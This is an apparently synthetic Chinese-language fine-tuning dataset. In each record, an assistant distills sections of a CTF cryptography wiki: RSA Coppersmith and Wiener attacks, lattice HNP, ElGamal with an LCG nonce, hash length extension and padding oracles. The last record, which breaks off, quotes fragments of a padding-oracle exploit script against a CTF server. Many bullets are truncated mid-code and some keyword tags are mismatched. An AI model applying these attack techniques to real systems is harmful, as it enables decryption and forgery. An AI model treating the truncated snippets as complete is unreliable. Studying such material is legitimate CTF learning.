{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3d7e3cf471f6c070de58", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「攻击条件」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Related Message Attack > 攻击条件\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击条件”展开。\n- 这一攻击由 Franklin，Reiter 提出。\n- 当 Alice 使用同一公钥对两个具有某种线性关系的消息 M1 与 M2 进行加密，并将加密后的消息 C1，C2 发送给了 Bob 时，我们就可能可以获得对应的消息 M1 与 M2。\n- 这里我们假设模数为 N，两者之间的线性关系如下 $$ M_1 \\equiv f(M_2) \\bmod N $$ 其中 f 为一个线性函数，比如说 $f=ax+b$。\n- 在具有较小错误概率下的情况下，其复杂度为 $O(elog^2N)$。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 238, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击条件", "heading_path": ["Coppersmith 相关攻击", "Related Message Attack", "攻击条件"], "original_id": "docs-94cbfdf89dcf804136fe", "original_line": 248, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "161b910f049704013318a74d", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3e1b44e5e30ca9cd2eee", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/cvp.md` 中的章节「Hidden number problem」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/cvp.md`\n标题：CVP\n章节：CVP > 相关内容 > Hidden number problem\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Hidden number problem”展开。\n- 最终我们可以得到一组向量 $\\mathbf{v}=(\\alpha \\cdot t_1 \\mod p, \\alpha \\cdot t_2 \\mod p, \\dots, \\frac{\\alpha}{2^{l+1}})$，从而算出 $\\alpha$。\n- HNP的定义如下： 给定质数$p$、许多$t \\in \\mathbb{F}_p$以及每一个对应的$MSB_{l,p}(\\alpha t)$，找出对应的$\\alpha$。\n- * $MSB_{l,p}(x)$表示任一满足 $\\lvert (x \\mod p) - u \\rvert \\le \\frac{p}{2^{l+1}}$ 的整数 $u$，近似为取$x \\mod p$的$l$个最高有效位。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- lattice\n- cvp.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 733, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "Hidden number problem", "heading_path": ["CVP", "相关内容", "Hidden number problem"], "original_id": "docs-50cc076165f6363ae71d", "original_line": 221, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "source_root": "docs", "source_sha256": "ce4bff91d9553736187e65ddf810cb8485ac4e64a6943532de00afbef377f37d", "split": "train", "split_group_key": "349f4c732c1dec6d0f35f9d1", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "lattice", "cvp.md"], "title": "CVP"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/cvp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-3fbdf3af64c7a14861ca", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/attack.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/attack.md`\n标题：Hash Attack\n章节：Hash Attack > hash算法设计有误 > Hashinator > 分析\n路径分类：crypto / crypto/hash/attack.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 题目采用的hash算法有：md5，sha1，blake，scrypt。\n- 查看calculate_hash()函数的具体实现，可以发现如下可疑的代码： `python for i in range(len(hash_rounds)): interim_salt = xor(interim_salt, hash_rounds-1-i) interim_hash = xor(interim_hash, hash_roundsi) final_hash = interim_salt + interim_hash ` 重新梳理一下我们知道的信息： 1. hash_rounds中保存了32轮...\n- 仔细观察一下interim_salt和interim_hash的计算方法，可以发现它是可逆的。\n- $$ interim\\_hash_1 = interim\\_hash_2 \\oplus hash\\_roundsi $$ 这行代码里，我们已知 $interim\\_hash_1$ 和 $interim\\_salt_3$，由此可以推出$interim\\_hash_2$的值，而$interim\\_hash_2$则是上一轮的interim_hash。\n- 2. 然后根据抽取的password的长度，生成一个长度为128 - len(password)的salt。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- hash\n- attack.md\n- code:python\n\n代码/命令片段线索：\n- python: 4 行，首行 `[SECRET_REDACTED]() # from rock_you.txt`\n- plain: 1 行，首行 `msize = 128 # f-you hashcat :D`\n- python: 4 行，首行 `for i in range(len(hash_rounds)):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1454, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["Hash Attack", "hash算法设计有误", "Hashinator", "分析"], "original_id": "docs-61eb86771f0ca9631d77", "original_line": 394, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "source_root": "docs", "source_sha256": "80fde767e17002c534f0877819eecdfe1b1bda14fae5184477dcedfeaaf95889", "split": "train", "split_group_key": "3e299dc856301067d48d087b", "subcategory": "crypto/hash/attack.md", "terms": ["密码学", "漏洞利用", "crypto", "hash", "attack.md", "code:python"], "title": "Hash Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-41ecdb1a1e474696522b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 分析\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- 扩展维纳攻击结合上述三个例子已经详细的阐明了方法细节，但是其中没有讲解如何选取复合关系。\n- * 到这里，其实已经讲清楚了扩展维纳攻击的整个流程，如何选择复合关系，如何构造格，如何构造矩阵$D$以及如何求解。\n- 这样我们便完成了矩阵$D$的构造，同时设矩阵$D$里面指数的乘积为$\\beta_n = x+y\\alpha_n$，这样有 $$ det(L_n) \\approx N^{n2^{n-1} + x + y\\alpha_n} $$ 则有 $$ N^{n/2 + n\\alpha_n} < (1/c_n)\\left(N^{n2^{n-1} + x + y\\alpha_n}\\right)^{1/2^n} $$ 对于小$c_n$，有 $$ \\alpha_n < \\frac{x}{n2^n - y} - \\epsilon^{...\n- 最后我们再计算所有的大小与最大大小$N^{n/2 + n\\alpha_n}$的差值，构造矩阵$D$。\n- 比如在$n=2$的情况我们选取$W_1, G_{1, 2}, W_1W_2$而不是$W_1, W_2, W_1W_2$因为前者$\\beta_2 = 5/2 + \\alpha$而后者$\\beta_2 = 2$。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1259, "chunk_count": 3, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "分析", "heading_path": ["扩展维纳攻击", "分析"], "original_id": "docs-eb195f6df53121cff151", "original_line": 297, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "5a98f77caacd7635f93b8ce7", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-42774ffb58e2bfe91279", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/summary.md` 中的章节「消失的三重密码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/summary.md`\n标题：总结\n章节：exp2.py > 消失的三重密码\n路径分类：crypto / crypto/classical/summary.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“消失的三重密码”展开。\n- 密文 `` of zit kggd zitkt qkt ygxk ortfzoeqs wqlatzwqssl qfr zvg ortfzoeqs yggzwqssl. fgv oy ngx vqfz zg hxz zitd of gft soft.piv dgfn lgsxzogfl qkt zitkt?\n- zohl:hstqlt eiqfut zit ygkd gy zit fxdwtk ngx utz.zit hkgukqddtkl!\n\n关键术语：\n- 密码学\n- crypto\n- classical\n- summary.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `of zit kggd zitkt qkt ygxk ortfzoeqs wqlatzwqssl qfr zvg ortfzoeqs yggzwqssl. fgv oy ngx vqfz zg hxz zitd of gft soft...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 244, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "消失的三重密码", "heading_path": ["exp2.py", "消失的三重密码"], "original_id": "docs-80ab4e3a870031e67d52", "original_line": 390, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "source_root": "docs", "source_sha256": "2ba3e6d53373332f5d4b059bfb576dd03c7d445a2456057fb1d5d9d84d31b435", "split": "train", "split_group_key": "2f82105258647819ed4f8682", "subcategory": "crypto/classical/summary.md", "terms": ["密码学", "crypto", "classical", "summary.md"], "title": "总结"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4407c94437695f743c42", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_theory.md` 中的章节「Jarvis OJ - Basic - veryeasyRSA」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_theory.md`\n标题：RSA 介绍\n章节：RSA 介绍 > Jarvis OJ - Basic - veryeasyRSA\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Jarvis OJ - Basic - veryeasyRSA”展开。\n- ``python p = 3487583947589437589237958723892346254777 q = 8767867843568934765983476584376578389 e = 65537 phin = (p - 1) * (q - 1) print gmpy2.invert(e, phin) ` `shell ➜ Jarvis OJ-Basic-veryeasyRSA git:(master) ✗ python exp.py 191785687961555604236759757741...\n- > p = 3487583947589437589237958723892346254777 q = 8767867843568934765983476584376578389 > > e = 65537 > > 求 d = > > 请提交 PCTF{d} 直接根据 $ed\\equiv 1 \\pmod{\\varphi (N)}$，其中 $\\varphi (N)=\\varphi (p)\\varphi (q)=(p-1)(q-1)$，可得 $d$。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- rsa\n- rsa-theory.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 5 行，首行 `p = 3487583947589437589237958723892346254777`\n- shell: 2 行，首行 `➜ Jarvis OJ-Basic-veryeasyRSA git:(master) ✗ python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 543, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "Jarvis OJ - Basic - veryeasyRSA", "heading_path": ["RSA 介绍", "Jarvis OJ - Basic - veryeasyRSA"], "original_id": "docs-0ce660cb12a364dc37fb", "original_line": 283, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "source_root": "docs", "source_sha256": "86d02da6eabf687916aa9c632a640efdf2507755ada88ee2dfe422822630c34a", "split": "train", "split_group_key": "82f2120ab2e90f7a59f761b2", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "crypto", "asymmetric", "rsa", "rsa-theory.md", "code:python", "code:shell"], "title": "RSA 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_theory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-447e91042d5e4e3cc688", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/discrete-log/elgamal.md` 中的章节「pubkey, privkey = keygen(size)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/discrete-log/elgamal.md`\n标题：ElGamal\n章节：pubkey, privkey = keygen(size)\n路径分类：crypto / crypto/asymmetric/discrete-log\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“pubkey, privkey = keygen(size)”展开。\n- m = bytes_to_long(FLAG) c1, c2 = encrypt(pubkey, m) c1_, c2_ = encrypt(pubkey, m) print pubkey print(c1, c2) print(c1_, c2_) `` 可以看出，该算法就是一个 ElGamal 加密，给了同一个明文两组加密后的结果，其特点在于使用的随机数 r 是通过线性同余生成器生成的，则我们知道 $c2 \\equiv m h^{r} \\bmod p$ $c2\\_ \\equiv mh^{(Ar+B) \\bm...\n- 则我们知道 $m^{A-1} \\equiv t \\bmod p$ 我们假设已知 p 的一个原根 g，则我们可以假设 $g^x \\equiv t$ $g^y \\equiv m$ 则 $g^{y(A-1)}\\equiv g^x \\bmod p$ 则 $y(A-1) \\equiv x \\bmod p-1$ 进而我们知道 $y(A-1)-k(p-1)=x$ 这里我们知道 A，p，x，则我们可以利用扩展欧几里得定理求得 $s(A-1)+w(p-1)=gcd(A-1,p-1)$ 如果gcd(A-1,p-1)=d，则我们直...\n- 这里这道题目中恰好 d=1，因此可以很容易进行求解。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- discrete-log\n- elgamal.md\n\n代码/命令片段线索：\n- plain: 23 行，首行 `可以看出，该算法就是一个 ElGamal 加密，给了同一个明文两组加密后的结果，其特点在于使用的随机数 r 是通过线性同余生成器生成的，则我们知道`\n- plain: 1 行，首行 `flag`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3117, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "pubkey, privkey = keygen(size)", "heading_path": ["pubkey, privkey = keygen(size)"], "original_id": "docs-ec6065e9eb42f659e4a1", "original_line": 214, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "source_root": "docs", "source_sha256": "a9e9e778c3fba70f90b0104997db1213f33093dead9989df94e7797cb31c8f07", "split": "train", "split_group_key": "aa34f2985bf620c9f54ec491", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "discrete-log", "elgamal.md"], "title": "ElGamal"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/elgamal.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-44a017510aa9082faea1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/introduction.md` 中的章节「格定义」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/introduction.md`\n标题：基本介绍\n章节：基本介绍 > 格定义\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“格定义”展开。\n- 格是 m 维欧式空间 $R^m$ 的 n ($m\\geq n$) 个线性无关向量$b_i(1\\leq i \\leq n)$ 的所有整系数的线性组合，即 $L(B)=\\{\\sum\\limits_{i=1}^{n}x_ib_i:x_i \\in Z,1\\leq i \\leq n\\}$ 这里 B 就是 n 个向量的集合，我们称 - 这 n 个向量是格 L 的一组基。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- lattice\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 253, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "格定义", "heading_path": ["基本介绍", "格定义"], "original_id": "docs-457d10bdf3f5f283e6a7", "original_line": 224, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/introduction.md", "source_root": "docs", "source_sha256": "8822b12a2d518d2266f486fb870e6a054e614428b5ba8a49b8802138e9f179cc", "split": "train", "split_group_key": "f577c80f2df925b989ecdcec", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "crypto", "asymmetric", "lattice", "introduction.md"], "title": "基本介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4537f9f32ce2a109b29e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/hash/attack.md` 中的章节「攻击原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/hash/attack.md`\n标题：Hash Attack\n章节：Hash Attack > 哈希长度拓展攻击（hash length extension attacks） > 攻击原理\n路径分类：crypto / crypto/hash/attack.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“攻击原理”展开。\n- 所以我们自然可以找到对应的(message,x)满足x=hash(key|message)。\n- 那么我们首先可以得到 key+s 扩展后的字符串 now，即 now=key|s|padding 那么如果我们在 now 的后面再次附加上一部分信息extra，即 key|s|padding|extra 这样再去计算hash值的时候， 1. 会对 extra 进行填充直到满足条件。\n- 2. 先计算 now 对应的链接变量 IV1，而我们已经知道这部分的 hash 值，并且链接变量产生 hash 值的算法是可逆的，所以我们可以得到链接变量。\n- 那么既然我们已经知道了第一部分的 hash 值，并且，我们还知道 extra 的值，那么我们便可以得到最后的hash值。\n- 这里不妨假设我们我们知道了 hash(key+s) 的 hash 值，其中 s 是已知的，那么其本身在计算的时候，必然会进行填充。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- hash\n- attack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 504, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "攻击原理", "heading_path": ["Hash Attack", "哈希长度拓展攻击（hash length extension attacks）", "攻击原理"], "original_id": "docs-c664d1b89b7afc6d87a6", "original_line": 393, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "source_root": "docs", "source_sha256": "80fde767e17002c534f0877819eecdfe1b1bda14fae5184477dcedfeaaf95889", "split": "train", "split_group_key": "b81f5b1a6b35dff66b8d97a5", "subcategory": "crypto/hash/attack.md", "terms": ["密码学", "漏洞利用", "crypto", "hash", "attack.md"], "title": "Hash Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/hash/attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-4700c2b182a87fefc7e7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding.md` 中的章节「利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding.md`\n标题：填充方式\n章节：填充方式 > 2018 上海市大学生网络安全大赛 aessss > 利用\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“利用”展开。\n- 1. 选择 choice2，追加 256-33 =223字节，使当前 flag 不需要填充，追加的最后一个字节设置成 chr(256-32)。\n- 3. 我们再次选择 choice2，这里由于我们需要追加，服务器会将类中的 flag 变量取出进行逆 S 盒替换和 unpad，这样按照这个 unpad 算法会把后面 224 字节的全部当成 padding去掉，明文剩下了真正 flag 的前32位。\n- 2. 服务器对 flag 追加我们的信息，并进行 s 盒替换，结果赋给类中的 flag 变量。\n- 5. 选择 choice1 对当前 flag 加密，控制 i 进行爆破，如果得到的密文和最初的 flag 加密的密文一样，就得到了 flag 的最后一个字节。\n- 4. 我们此时输入一个字符 i,那么此时加密的对象就是 flag[:32]+i。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 420, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "利用", "heading_path": ["填充方式", "2018 上海市大学生网络安全大赛 aessss", "利用"], "original_id": "docs-18480a4606963e2fa118", "original_line": 356, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "source_root": "docs", "source_sha256": "5737a702cc4b65ba4cc98ab56a46331ffff5a037b72d573d04fce1782b180597", "split": "train", "split_group_key": "817e155cc815725d444e4e09", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "漏洞利用", "crypto", "blockcipher", "mode", "padding.md"], "title": "填充方式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-471bbe94eb23fe8581a9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 2017 HITCON Secret Server > 利用思路\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 基本利用思路如下 1. 绕过 proof of work 2. 根据执行任意命令的方式获取加密后的 flag。\n- 4. 这样的话，我们可以在本地逐字节爆破，计算对应 md5，然后再次利用任意命令执行的方式，控制解密后的明文为任意指定命令，如果控制不成功，那说明该字节不对，需要再次爆破；\n- cipher = p.recvuntil('\\n', drop=True) cipher_welcome = base64.b64decode(cipher)[16:] log.info(\"cipher welcome is : \" + cipher_welcome) # execute get-flag get_flag_iv = flipplain(pad(\"Welcome!\n- ' flag += chr(guess) print 'Flag so far:', flag break if __name__ == \"__main__\": main() ` 最后结果如下 `Shell Flag so far: Paddin9_15_ve3y_h4rd__!\n- \"), \"a\" * 15 + chr(len(cipher_flag) + 16 + 16 - (7 + i + 1)), iv_encrypt) payload += last_byte_iv + cipher_welcome p.sendline(base64.b64encode(payload)) return p.recvuntil(\"\\n\", drop=True) def main(): bypassproof() # result of encrypted Welcome!\n- 3. 由于 flag 的开头是 hitcon{，一共有7个字节，所以我们任然可以通过控制 iv 来使得解密后的前 7 个字节为指定字节。\n\n关键术语：\n- ROP/JOP\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 87 行，首行 `#coding=utf-8`\n- Shell: 1 行，首行 `Flag so far: Paddin9_15_ve3y_h4rd__!!}\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10\\x10`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3694, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "利用思路", "heading_path": ["Padding Oracle Attack", "2017 HITCON 